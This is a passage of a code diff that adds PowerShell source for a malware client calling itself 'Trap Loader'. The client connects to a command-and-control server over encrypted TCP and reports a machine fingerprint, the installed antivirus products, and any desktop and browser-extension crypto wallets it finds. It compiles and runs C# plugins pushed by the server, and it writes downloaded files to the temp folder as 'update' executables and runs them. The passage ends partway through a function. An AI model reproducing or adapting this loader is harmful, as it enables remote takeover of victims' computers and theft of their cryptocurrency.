[Text.Encoding]::UTF8.GetString($Data) + + # Build referenced assemblies list - include System.Management for process manager + $refs = @( + 'System.dll', + 'System.Drawing.dll', + 'System.Windows.Forms.dll', + 'System.Management.dll' + ) + + Add-Type -TypeDefinition $code -ReferencedAssemblies $refs -ErrorAction Stop + $pluginInstance = New-Object "ClientPlugin_$($PluginId).Main" + $runner = New-Object PluginRunner + $runner.Start($pluginInstance) + $global:ActivePlugins[$PluginId] = @{ Runner = $runner } + Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Started: $PluginId" -ForegroundColor Green + } catch { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Load error: $($_.Exception.Message)" -ForegroundColor Red + $global:ActivePlugins.Remove($PluginId) + } + } + 1 { + if ($global:ActivePlugins.ContainsKey($PluginId)) { + $global:ActivePlugins[$PluginId].Runner.InQueue.Enqueue($Data) + } + } + 2 { + if ($global:ActivePlugins.ContainsKey($PluginId)) { Stop-Plugin -PluginId $PluginId } + } + } +} + +function Stop-Plugin { + param([string]$PluginId) + if ($global:ActivePlugins.ContainsKey($PluginId)) { + try { $global:ActivePlugins[$PluginId].Runner.Stop() } catch { } + $global:ActivePlugins.Remove($PluginId) + Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Stopped: $PluginId" -ForegroundColor Yellow + } +} + +function Stop-AllPlugins { + foreach ($plugId in @($global:ActivePlugins.Keys)) { Stop-Plugin -PluginId $plugId } +} + +function Cleanup-DeadPlugins { + foreach ($plugId in @($global:ActivePlugins.Keys)) { + $pe = $global:ActivePlugins[$plugId] + if ($pe -and $pe.Runner) { + if ($pe.Runner.LastError) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] $plugId died: $($pe.Runner.LastError.Message)" -ForegroundColor Red + $pe.Runner.Stop() + $global:ActivePlugins.Remove($plugId) + } + elseif (-not $pe.Runner.Running -and $pe.Runner.WorkerThread -and -not $pe.Runner.WorkerThread.IsAlive) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] $plugId exited" -ForegroundColor Yellow + $global:ActivePlugins.Remove($plugId) + } + } + } +} + +function Get-HasPluginOutput { + foreach ($plugId in @($global:ActivePlugins.Keys)) { + $pe = $global:ActivePlugins[$plugId] + if ($pe -and $pe.Runner -and $pe.Runner.GetOutQueueCount() -gt 0) { + return $true + } + } + return $false +} + +function Send-AllPluginOutput { + param([System.IO.Stream]$Stream) + + $anySent = $false + + foreach ($plugId in @($global:ActivePlugins.Keys)) { + $pluginEntry = $global:ActivePlugins[$plugId] + if ($null -eq $pluginEntry -or $null -eq $pluginEntry.Runner) { continue } + + $queueCount = $pluginEntry.Runner.GetOutQueueCount() + if ($queueCount -le 0) { continue } + + if ($queueCount -gt 100) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] $plugId backlog ($queueCount), clearing" -ForegroundColor Yellow + $pluginEntry.Runner.ClearOutQueue() + continue + } + + $idBytes = [Text.Encoding]::UTF8.GetBytes($plugId) + + $sent = 0 + while ($sent -lt 50) { + $item = $null + $dequeued = $pluginEntry.Runner.OutQueue.TryDequeue([ref]$item) + if (-not $dequeued -or $null -eq $item) { break } + + $payload = New-Object byte[] (1 + $idBytes.Length + $item.Length) + $payload[0] = [byte]$idBytes.Length + [Array]::Copy($idBytes, 0, $payload, 1, $idBytes.Length) + [Array]::Copy($item, 0, $payload, 1 + $idBytes.Length, $item.Length) + + Write-TcpMessage -Stream $Stream -MsgType $MSG_PLUGIN_DATA -Payload $payload + $sent++ + $anySent = $true + } + } + + return $anySent +} + +# ==================== MESSAGE HANDLERS ==================== + +function Handle-PluginCmd { + param([byte[]]$Payload) + if ($null -eq $Payload -or $Payload.Length -lt 2) { return } + $idLen = [int]$Payload[0] + if ($idLen -le 0 -or ($idLen + 1) -gt $Payload.Length) { return } + $pluginId = [Text.Encoding]::UTF8.GetString($Payload, 1, $idLen) + $dataOffset = 1 + $idLen + $dataLen = $Payload.Length - $dataOffset + $data = $null + if ($dataLen -gt 0) { + $data = New-Object byte[] $dataLen + [Array]::Copy($Payload, $dataOffset, $data, 0, $dataLen) + } + if ($null -ne $data -and $data.Length -ge 1) { + $cmdType = [int]$data[0] + $cmdData = $null + if ($data.Length -gt 1) { + $cmdData = New-Object byte[] ($data.Length - 1) + [Array]::Copy($data, 1, $cmdData, 0, $cmdData.Length) + } + Invoke-PluginCommand -PluginId $pluginId -CmdType $cmdType -Data $cmdData + } +} + +function Handle-FileTransfer { + param([byte[]]$Payload) + if ($null -eq $Payload -or $Payload.Length -lt 2) { return } + $hashLen = [int]$Payload[0] + $expectedHash = $null + if ($hashLen -gt 0 -and ($hashLen + 1) -le $Payload.Length) { + $expectedHash = [Text.Encoding]::UTF8.GetString($Payload, 1, $hashLen) + } + $encOffset = 1 + $hashLen + if ($encOffset -ge $Payload.Length) { return } + $encData = New-Object byte[] ($Payload.Length - $encOffset) + [Array]::Copy($Payload, $encOffset, $encData, 0, $encData.Length) + + $decryptedBytes = Decrypt-Bytes -CipherBytes $encData -Key $encryptionKey + if ($null -eq $decryptedBytes -or $decryptedBytes.Length -eq 0) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - File decryption failed" -ForegroundColor Red + return + } + + Write-Host "$(Get-Date -Format 'HH:mm:ss') - File received: $($decryptedBytes.Length) bytes" -ForegroundColor Green + + if ($expectedHash) { + $sha = [System.Security.Cryptography.SHA256]::Create() + $actualHash = [BitConverter]::ToString($sha.ComputeHash($decryptedBytes)).Replace("-", "").ToLower() + $sha.Dispose() + if ($actualHash -ne $expectedHash) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - HASH MISMATCH! Rejecting." -ForegroundColor Red + return + } + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Hash verified OK" -ForegroundColor Green + } + + $suffix = [Guid]::NewGuid().ToString().Substring(0, 8) + if ($decryptedBytes.Length -gt 1 -and $decryptedBytes[0] -eq 0x4D -and $decryptedBytes[1] -eq 0x5A) { + $fileName = "update-$suffix.exe" + } elseif ($decryptedBytes.Length -gt 1 -and $decryptedBytes[0] -eq 0x50 -and $decryptedBytes[1] -eq 0x4B) { + $fileName = "update-$suffix.zip" + } else { + $fileName = "update-$suffix.bat" + } + + $filePath = [IO.Path]::Combine([IO.Path]::GetTempPath(), $fileName) + try { + [IO.File]::WriteAllBytes($filePath, $decryptedBytes) + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Saved: $filePath" -ForegroundColor Green + Start-Process -FilePath $filePath -ErrorAction Stop + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Executed successfully" -ForegroundColor Green + } catch { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Execute error: $($_.Exception.Message)" -ForegroundColor Red + } +} + +# ==================== PARSE SERVER ADDRESS ==================== + +function Parse-ServerAddress { + param([string]$Address) + $result = @{ Host = ""; Port = 443 } + $addr = $Address.Trim() -replace '^https?://', '' -replace '/.*$', '' + if ($addr -match '^(.+):(\d+)$') { + $result.Host = $Matches[1] + $result.Port = [int]$Matches[2] + } else { + $result.Host = $addr + } + return $result +} + +# ==================== MAIN ==================== + +$machineId = Get-MachineFingerprint +$systemInfo = Get-SystemInfo + +$parsed = Parse-ServerAddress -Address $serverUrl +$sHost = $parsed.Host +$sPort = $parsed.Port + +if ([string]::IsNullOrWhiteSpace($sHost)) { + Write-Host "Invalid server address: $serverUrl" -ForegroundColor Red + Start-Sleep -Seconds 10 + exit 1 +} + +Write-Host "========================================" -ForegroundColor Cyan +Write-Host " Trap Loader Client (TCP)" -ForegroundColor Cyan +Write-Host "========================================" -ForegroundColor Cyan +Write-Host " Server : $sHost`:$sPort" -ForegroundColor Gray +Write-Host " Machine : $machineId" -ForegroundColor Gray +Write-Host " Crypto : AES-256-GCM (BCrypt)" -ForegroundColor Gray +Write-Host "========================================" -ForegroundColor Cyan +Write-Host "" + +$heartbeatInterval = 5 + +# ==================== CONNECTION LOOP ==================== + +try { +while ($true) { + $tcpClient = $null + $stream = $null + + try { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connecting to $sHost`:$sPort..." -ForegroundColor Yellow + + $tcpClient = New-Object System.Net.Sockets.TcpClient + $tcpClient.NoDelay = $true + $tcpClient.ReceiveBufferSize = 1048576 + $tcpClient.SendBufferSize = 1048576 + $tcpClient.ReceiveTimeout = 60000 + $tcpClient.SendTimeout = 30000 + + $asyncResult = $tcpClient.BeginConnect($sHost, $sPort, $null, $null) + $connected = $asyncResult.AsyncWaitHandle.WaitOne(5000, $false) + + if (-not $connected) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connection timeout. Retrying..." -ForegroundColor Yellow + try { $tcpClient.Close() } catch { } + Start-Sleep -Seconds 5 + continue + } + + try { $tcpClient.EndConnect($asyncResult) } + catch { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connection refused. Retrying..." -ForegroundColor Yellow + try { $tcpClient.Close() } catch { } + Start-Sleep -Seconds 5 + continue + } + + $stream = $tcpClient.GetStream() + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connected!" -ForegroundColor Green + + # ========== AUTHENTICATION ========== + + $authJson = @{ + password = $httpPassword + machine_id = $machineId + info = $systemInfo + } | ConvertTo-Json -Compress -Depth 5 + + $authEncrypted = Encrypt-Payload -PlainText $authJson -Key $encryptionKey + Write-TcpMessage -Stream $stream -MsgType $MSG_AUTH -Payload $authEncrypted + + $authResp = Read-TcpMessage -Stream $stream + if ($null -eq $authResp) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - No auth response" -ForegroundColor Red + throw "Auth failed" + } + + if ($authResp.Type -eq $MSG_AUTH_FAIL) { + $reason = if ($authResp.Payload) { [Text.Encoding]::UTF8.GetString($authResp.Payload) } else { "Unknown" } + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Auth failed: $reason" -ForegroundColor Red + throw "Auth failed" + } + + if ($authResp.Type -ne $MSG_AUTH_OK) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Unexpected response: 0x$($authResp.Type.ToString('X2'))" -ForegroundColor Red + throw "Auth failed" + } + + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Authenticated!" -ForegroundColor Green + + # ========== MESSAGE LOOP ========== + + $lastHeartbeat = [DateTime]::UtcNow + $lastInfoRefresh = [DateTime]::UtcNow + $lastCleanup = [DateTime]::UtcNow + $infoRefreshSeconds = 60 + $cleanupIntervalSeconds = 10 + + while ($tcpClient.Connected) { + $now = [DateTime]::UtcNow + + # ---- PHASE 1: Read all incoming messages ---- + while ($stream.DataAvailable) { + $msg = Read-TcpMessage -Stream $stream + if ($null -eq $msg) { throw "Connection lost" } + + switch ($msg.Type) { + $MSG_HEARTBEAT_ACK { + if ($msg.Payload -and $msg.Payload.Length -ge 5) { + $pending = [int]$msg.Payload[0] -bor ([int]$msg.Payload[1] -shl 8) -bor + ([int]$msg.Payload[2] -shl 16) -bor ([int]$msg.Payload[3] -shl 24) + $fileQueued = $msg.Payload[4] -ne 0 + if ($pending -gt 0 -or $fileQueued) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Pending: $pending cmd(s), file=$fileQueued" -ForegroundColor Cyan + } + } + } + $MSG_PLUGIN_CMD { Handle-PluginCmd -Payload $msg.Payload } + $MSG_FILE_TRANSFER { Handle-FileTransfer -Payload $msg.Payload } + $MSG_DISCONNECT { throw "Server disconnect" } + default { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Unknown msg: 0x$($msg.Type.ToString('X2'))" -ForegroundColor Yellow + } + } + } + + # ---- PHASE 2: Send ALL plugin output (tight loop until drained) ---- + $outputDrained = $false + while (-not $outputDrained) { + $sentAny = Send-AllPluginOutput -Stream $stream + if (-not $sentAny) { + $outputDrained = $true + } + # Check for new incoming while sending output + if ($stream.DataAvailable) { break } + } + + # If new data arrived during output send, loop back immediately + if ($stream.DataAvailable) { continue } + + # ---- PHASE 3: Heartbeat ---- + if (($now - $lastHeartbeat).TotalSeconds -ge $heartbeatInterval) { + Write-TcpMessage -Stream $stream -MsgType $MSG_HEARTBEAT -Payload ([byte[]]@(0)) + $lastHeartbeat = $now + } + + # ---- PHASE 4: System info refresh (time-based, non-blocking) ---- + if (($now - $lastInfoRefresh).TotalSeconds -ge $infoRefreshSeconds) { + $lastInfoRefresh = $now + $systemInfo = Get-SystemInfo + $infoBytes = [Text.Encoding]::UTF8.GetBytes($systemInfo) + Write-TcpMessage -Stream $stream -MsgType $MSG_CLIENT_INFO -Payload $infoBytes + } + + # ---- PHASE 5: Dead plugin cleanup ---- + if (($now - $lastCleanup).TotalSeconds -ge $cleanupIntervalSeconds) { + $lastCleanup = $now + Cleanup-DeadPlugins + } + + # ---- PHASE 6: Smart wait ---- + # Tight poll: check every 1ms for data or plugin output, max 20ms + $waitUntil = [DateTime]::UtcNow.AddMilliseconds(20) + while ([DateTime]::UtcNow -lt $waitUntil) { + if ($stream.DataAvailable) { break } + if (Get-HasPluginOutput) { break } + [System.Threading.Thread]::Sleep(1) + } + } + } + catch { + $errMsg = $_.Exception.Message + if ($errMsg -ne "Auth failed" -and $errMsg -ne "Connection lost" -and $errMsg -ne "Server disconnect") { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Error: $errMsg" -ForegroundColor Red + } + } + finally { + if ($null -ne $stream) { try { $stream.Dispose() } catch { } } + if ($null -ne $tcpClient) { try { $tcpClient.Close() } catch { } } + } + + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Reconnecting in 5s..." -ForegroundColor Yellow + Start-Sleep -Seconds 5 +} +} +finally { + Stop-AllPlugins +} \ No newline at end of file diff --git a/PSStub_Direct.ps1 b/PSStub_Direct.ps1 new file mode 100644 index 0000000..7c95b75 --- /dev/null +++ b/PSStub_Direct.ps1 @@ -0,0 +1,1142 @@ +# Trap Loader Stub - TCP Binary Client with AES-256-GCM +# Placeholders are replaced at build time by the Builder + +$serverUrl = "{{SERVER_URL}}" +$httpPassword = "{{PASSWORD}}" +$encryptionKey = "{{ENCRYPTION_KEY}}" + +# ==================== AES-256-GCM VIA WINDOWS BCRYPT ==================== + +Add-Type -TypeDefinition @" +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; + +public static class AesGcmHelper +{ + private const int SaltSize = 16; + private const int NonceSize = 12; + private const int TagSize = 16; + private const int KeySize = 32; + private const int Pbkdf2Iterations = 100000; + private const int MinEncryptedSize = SaltSize + NonceSize + TagSize + 1; + + [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] + private static extern int BCryptOpenAlgorithmProvider( + out IntPtr phAlgorithm, string pszAlgId, string pszImplementation, uint dwFlags); + + [DllImport("bcrypt.dll")] + private static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint dwFlags); + + [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] + private static extern int BCryptSetProperty( + IntPtr hObject, string pszProperty, byte[] pbInput, int cbInput, uint dwFlags); + + [DllImport("bcrypt.dll")] + private static extern int BCryptGenerateSymmetricKey( + IntPtr hAlgorithm, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, + byte[] pbSecret, int cbSecret, uint dwFlags); + + [DllImport("bcrypt.dll")] + private static extern int BCryptDestroyKey(IntPtr hKey); + + [DllImport("bcrypt.dll")] + private static extern int BCryptEncrypt( + IntPtr hKey, byte[] pbInput, int cbInput, IntPtr pPaddingInfo, + byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, + out int pcbResult, uint dwFlags); + + [DllImport("bcrypt.dll")] + private static extern int BCryptDecrypt( + IntPtr hKey, byte[] pbInput, int cbInput, IntPtr pPaddingInfo, + byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, + out int pcbResult, uint dwFlags); + + [StructLayout(LayoutKind.Sequential)] + private struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO + { + public int cbSize; + public int dwInfoVersion; + public IntPtr pbNonce; + public int cbNonce; + public IntPtr pbAuthData; + public int cbAuthData; + public IntPtr pbTag; + public int cbTag; + public IntPtr pbMacContext; + public int cbMacContext; + public int cbAAD; + public long cbData; + public int dwFlags; + } + + private const string BCRYPT_AES_ALGORITHM = "AES"; + private const string BCRYPT_CHAINING_MODE = "ChainingMode"; + private const string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM"; + private const int STATUS_SUCCESS = 0; + + private static byte[] DeriveKey(string password, byte[] salt) + { + using (var pbkdf2 = new Rfc2898DeriveBytes(password, salt, Pbkdf2Iterations, + HashAlgorithmName.SHA256)) + { + return pbkdf2.GetBytes(KeySize); + } + } + + private static byte[] GcmEncrypt(byte[] key, byte[] nonce, byte[] plaintext, out byte[] tag) + { + IntPtr hAlg = IntPtr.Zero; + IntPtr hKey = IntPtr.Zero; + tag = new byte[TagSize]; + + try + { + int status = BCryptOpenAlgorithmProvider(out hAlg, BCRYPT_AES_ALGORITHM, null, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("BCryptOpenAlgorithmProvider failed: " + status); + + byte[] chainMode = Encoding.Unicode.GetBytes(BCRYPT_CHAIN_MODE_GCM); + status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("BCryptSetProperty failed: " + status); + + status = BCryptGenerateSymmetricKey(hAlg, out hKey, IntPtr.Zero, 0, key, key.Length, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("BCryptGenerateSymmetricKey failed: " + status); + + byte[] ciphertext = new byte[plaintext.Length]; + byte[] ivCopy = (byte[])nonce.Clone(); + + var authInfo = new BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(); + authInfo.cbSize = Marshal.SizeOf(authInfo); + authInfo.dwInfoVersion = 1; + + GCHandle nonceHandle = GCHandle.Alloc(ivCopy, GCHandleType.Pinned); + GCHandle tagHandle = GCHandle.Alloc(tag, GCHandleType.Pinned); + + try + { + authInfo.pbNonce = nonceHandle.AddrOfPinnedObject(); + authInfo.cbNonce = ivCopy.Length; + authInfo.pbTag = tagHandle.AddrOfPinnedObject(); + authInfo.cbTag = TagSize; + + IntPtr pAuthInfo = Marshal.AllocHGlobal(Marshal.SizeOf(authInfo)); + try + { + Marshal.StructureToPtr(authInfo, pAuthInfo, false); + + int bytesWritten; + status = BCryptEncrypt(hKey, plaintext, plaintext.Length, pAuthInfo, + null, 0, ciphertext, ciphertext.Length, out bytesWritten, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("BCryptEncrypt failed: " + status); + } + finally + { + Marshal.FreeHGlobal(pAuthInfo); + } + } + finally + { + nonceHandle.Free(); + tagHandle.Free(); + } + + return ciphertext; + } + finally + { + if (hKey != IntPtr.Zero) BCryptDestroyKey(hKey); + if (hAlg != IntPtr.Zero) BCryptCloseAlgorithmProvider(hAlg, 0); + } + } + + private static byte[] GcmDecrypt(byte[] key, byte[] nonce, byte[] ciphertext, byte[] tag) + { + IntPtr hAlg = IntPtr.Zero; + IntPtr hKey = IntPtr.Zero; + + try + { + int status = BCryptOpenAlgorithmProvider(out hAlg, BCRYPT_AES_ALGORITHM, null, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("BCryptOpenAlgorithmProvider failed: " + status); + + byte[] chainMode = Encoding.Unicode.GetBytes(BCRYPT_CHAIN_MODE_GCM); + status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("BCryptSetProperty failed: " + status); + + status = BCryptGenerateSymmetricKey(hAlg, out hKey, IntPtr.Zero, 0, key, key.Length, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("BCryptGenerateSymmetricKey failed: " + status); + + byte[] plaintext = new byte[ciphertext.Length]; + byte[] ivCopy = (byte[])nonce.Clone(); + byte[] tagCopy = (byte[])tag.Clone(); + + var authInfo = new BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(); + authInfo.cbSize = Marshal.SizeOf(authInfo); + authInfo.dwInfoVersion = 1; + + GCHandle nonceHandle = GCHandle.Alloc(ivCopy, GCHandleType.Pinned); + GCHandle tagHandle = GCHandle.Alloc(tagCopy, GCHandleType.Pinned); + + try + { + authInfo.pbNonce = nonceHandle.AddrOfPinnedObject(); + authInfo.cbNonce = ivCopy.Length; + authInfo.pbTag = tagHandle.AddrOfPinnedObject(); + authInfo.cbTag = tagCopy.Length; + + IntPtr pAuthInfo = Marshal.AllocHGlobal(Marshal.SizeOf(authInfo)); + try + { + Marshal.StructureToPtr(authInfo, pAuthInfo, false); + + int bytesWritten; + status = BCryptDecrypt(hKey, ciphertext, ciphertext.Length, pAuthInfo, + null, 0, plaintext, plaintext.Length, out bytesWritten, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("GCM tag verification failed"); + } + finally + { + Marshal.FreeHGlobal(pAuthInfo); + } + } + finally + { + nonceHandle.Free(); + tagHandle.Free(); + } + + return plaintext; + } + finally + { + if (hKey != IntPtr.Zero) BCryptDestroyKey(hKey); + if (hAlg != IntPtr.Zero) BCryptCloseAlgorithmProvider(hAlg, 0); + } + } + + public static byte[] Encrypt(string plainText, string password) + { + byte[] plainBytes = Encoding.UTF8.GetBytes(plainText); + return EncryptBytes(plainBytes, password); + } + + public static byte[] EncryptBytes(byte[] plainBytes, string password) + { + byte[] salt = new byte[SaltSize]; + byte[] nonce = new byte[NonceSize]; + + using (var rng = RandomNumberGenerator.Create()) + { + rng.GetBytes(salt); + rng.GetBytes(nonce); + } + + byte[] key = DeriveKey(password, salt); + byte[] tag; + byte[] cipherText = GcmEncrypt(key, nonce, plainBytes, out tag); + + byte[] result = new byte[SaltSize + NonceSize + TagSize + cipherText.Length]; + int offset = 0; + + Buffer.BlockCopy(salt, 0, result, offset, SaltSize); + offset += SaltSize; + Buffer.BlockCopy(nonce, 0, result, offset, NonceSize); + offset += NonceSize; + Buffer.BlockCopy(tag, 0, result, offset, TagSize); + offset += TagSize; + Buffer.BlockCopy(cipherText, 0, result, offset, cipherText.Length); + + return result; + } + + public static string DecryptToString(byte[] encryptedBytes, string password) + { + byte[] plainBytes = DecryptToBytes(encryptedBytes, password); + if (plainBytes == null) return null; + return Encoding.UTF8.GetString(plainBytes); + } + + public static byte[] DecryptToBytes(byte[] encryptedBytes, string password) + { + if (encryptedBytes == null || encryptedBytes.Length < MinEncryptedSize) + return null; + + int offset = 0; + + byte[] salt = new byte[SaltSize]; + Buffer.BlockCopy(encryptedBytes, offset, salt, 0, SaltSize); + offset += SaltSize; + + byte[] nonce = new byte[NonceSize]; + Buffer.BlockCopy(encryptedBytes, offset, nonce, 0, NonceSize); + offset += NonceSize; + + byte[] tag = new byte[TagSize]; + Buffer.BlockCopy(encryptedBytes, offset, tag, 0, TagSize); + offset += TagSize; + + int cipherLen = encryptedBytes.Length - offset; + byte[] cipherText = new byte[cipherLen]; + Buffer.BlockCopy(encryptedBytes, offset, cipherText, 0, cipherLen); + + byte[] key = DeriveKey(password, salt); + + try + { + return GcmDecrypt(key, nonce, cipherText, tag); + } + catch (CryptographicException) + { + return null; + } + } +} +"@ -ReferencedAssemblies @('System.dll') -ErrorAction Stop + +# ==================== ENCRYPTION WRAPPERS ==================== + +function Encrypt-Payload { + param([string]$PlainText, [string]$Key) + return [AesGcmHelper]::Encrypt($PlainText, $Key) +} + +function Decrypt-Bytes { + param([byte[]]$CipherBytes, [string]$Key) + return [AesGcmHelper]::DecryptToBytes($CipherBytes, $Key) +} + +# ==================== SYSTEM INFO ==================== + +function Get-MachineFingerprint { + try { + $cpuId = Get-CimInstance -ClassName Win32_Processor -ErrorAction Stop | + Select-Object -First 1 -ExpandProperty ProcessorId + $biosId = Get-CimInstance -ClassName Win32_BIOS -ErrorAction Stop | + Select-Object -ExpandProperty SerialNumber + $mainboardId = Get-CimInstance -ClassName Win32_BaseBoard -ErrorAction Stop | + Select-Object -ExpandProperty SerialNumber + + $fingerprint = "$cpuId-$biosId-$mainboardId" + $sha = [System.Security.Cryptography.SHA256]::Create() + $hashBytes = $sha.ComputeHash([Text.Encoding]::UTF8.GetBytes($fingerprint)) + $sha.Dispose() + return [BitConverter]::ToString($hashBytes).Replace("-", "") + } + catch { + return [Guid]::NewGuid().ToString().Replace("-", "").ToUpper() + } +} + +function Get-WindowsVersion { + try { + $os = [System.Environment]::OSVersion.Version + switch ($os.Major) { + 10 { + if ($os.Build -ge 22000) { return "Windows 11" } + return "Windows 10" + } + 6 { + switch ($os.Minor) { + 3 { return "Windows 8.1" } + 2 { return "Windows 8" } + 1 { return "Windows 7" } + 0 { return "Windows Vista" } + } + } + default { return "Windows $($os.Major).$($os.Minor)" } + } + } + catch { return "Unknown" } +} + +function Get-SpecificAntivirus { + $avProducts = @() + $avPaths = @{ + "Norton" = "SOFTWARE\Norton" + "McAfee" = "SOFTWARE\McAfee" + "Kaspersky" = "SOFTWARE\Kaspersky Lab" + "Bitdefender" = "SOFTWARE\Bitdefender" + "Avast" = "SOFTWARE\AVAST Software" + "AVG" = "SOFTWARE\AVG Technologies" + "Windows Defender" = "SOFTWARE\Microsoft\Windows Defender" + "ESET" = "SOFTWARE\ESET" + "Malwarebytes" = "SOFTWARE\Malwarebytes" + "Trend Micro" = "SOFTWARE\TrendMicro" + "Sophos" = "SOFTWARE\Sophos" + "Webroot" = "SOFTWARE\WRData" + } + foreach ($av in $avPaths.GetEnumerator()) { + try { + if (Get-Item -Path "HKLM:\$($av.Value)" -ErrorAction SilentlyContinue) { + $avProducts += $av.Key + } + } catch { } + } + if ($avProducts.Count -eq 0) { return "None" } + return ($avProducts | Select-Object -Unique) -join ", " +} + +function Get-WalletNames { + $walletNames = @() + + $walletPaths = @{ + "Armory" = "$env:APPDATA\Armory" + "Atomic" = "$env:APPDATA\Atomic\Local Storage\leveldb" + "Bitcoin" = "$env:APPDATA\Bitcoin\wallets" + "Bytecoin" = "$env:APPDATA\bytecoin" + "Coinomi" = "$env:LOCALAPPDATA\Coinomi\Coinomi\wallets" + "Dash" = "$env:APPDATA\DashCore\wallets" + "Electrum" = "$env:APPDATA\Electrum\wallets" + "Ethereum" = "$env:APPDATA\Ethereum\keystore" + "Exodus" = "$env:APPDATA\Exodus\exodus.wallet" + "Guarda" = "$env:APPDATA\Guarda\Local Storage\leveldb" + "Jaxx" = "$env:APPDATA\com.liberty.jaxx\IndexedDB" + "Litecoin" = "$env:APPDATA\Litecoin\wallets" + "Monero GUI" = "$env:USERPROFILE\Documents\Monero\wallets" + "WalletWasabi" = "$env:APPDATA\WalletWasabi\Client\Wallets" + "Ledger Live" = "$env:APPDATA\Ledger Live" + "Trezor Suite" = "$env:APPDATA\@trezor\suite-desktop" + } + + foreach ($wallet in $walletPaths.GetEnumerator()) { + try { + if (Test-Path $wallet.Value) { + $walletNames += $wallet.Key + } + } catch { } + } + + $browserPaths = @{ + "Brave" = "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data" + "Chrome" = "$env:LOCALAPPDATA\Google\Chrome\User Data" + "Edge" = "$env:LOCALAPPDATA\Microsoft\Edge\User Data" + "Opera" = "$env:APPDATA\Opera Software\Opera Stable" + "OperaGX" = "$env:APPDATA\Opera Software\Opera GX Stable" + "Vivaldi" = "$env:LOCALAPPDATA\Vivaldi\User Data" + "Chromium" = "$env:LOCALAPPDATA\Chromium\User Data" + } + + $walletDirs = @{ + "nkbihfbeogaeaoehlefnkodbefgpgknn" = "Metamask" + "ejbalbakoplchlghecdalmeeeajnimhm" = "Metamask2" + "odbfpeeihdkbihmopkbjmoonfanlbfcl" = "Coinbase" + "hifafgmccdpekplomjjkcfgodnhcellj" = "Crypto.com" + "bfnaelmomeimhlpmgjnjophhpkkoljpa" = "Phantom" + "ibnejdfjmmkpcnlpebklmnkoeoihofec" = "TronLink" + "egjidjbpglichdcondbcbdnbeeppgdph" = "Trust Wallet" + "dmkamcknogkgcdfhhbddcghachkejeap" = "Keplr" + "fhbohimaelbohpjbbldcngcnapndodjp" = "Binance Chain" + "afbcbjpbpfadlkmhmclhkeeodmamcflc" = "MathWallet" + "aholpfdialjgjfhomihkjbmgjidlcdno" = "ExodusWeb3" + "kkpllkodjeloidieedojogacfhpaihoh" = "Enkrypt" + "mcbigmjiafegjnnogedioegffbooigli" = "Ethos Sui" + "hpglfhgfnhbgpjdenjgmdgoeiappafln" = "Guarda Wallet" + "mcohilncbfahbmgdjkbpemcciiolgcge" = "OKX" + "jnmbobjmhlngoefaiojfljckilhhlhcj" = "OneKey" + "fnjhmkhhmkbjkkabndcnnogagogbneec" = "Ronin" + "lgmpcpglpngdoalbgeoldeajfclnhafa" = "SafePal" + "mfgccjchihfkkindfppnaooecgfneiii" = "TokenPocket" + "nphplpgoakhhjchkkhmiggakijnkhfnd" = "Ton" + "amkmjjmmflddogmhpjloimipbofnfjih" = "Wombat" + "dlcobpjiigpikoobohmabehhmhfoodbb" = "Argent X" + "jiidiaalihmmhddjgbnbgdfflelocpak" = "BitKeep" + "bopcbmipnjdcdfflfgjdgdjejmgpoaab" = "BlockWallet" + "heamnjbnflcikcggoiplibfommfbkjpj" = "Zeal" + } + + foreach ($browser in $browserPaths.GetEnumerator()) { + try { + if (Test-Path $browser.Value) { + foreach ($wd in $walletDirs.GetEnumerator()) { + $extPath = Join-Path $browser.Value "Default\Local Extension Settings\$($wd.Key)" + $extPath2 = Join-Path $browser.Value "Local Extension Settings\$($wd.Key)" + if ((Test-Path $extPath) -or (Test-Path $extPath2)) { + $walletNames += "$($wd.Value)" + } + } + } + } catch { } + } + + if ($walletNames.Count -eq 0) { return "None" } + return ($walletNames | Select-Object -Unique) -join ", " +} + +function Get-SystemInfo { + $osVer = Get-WindowsVersion + $machine = 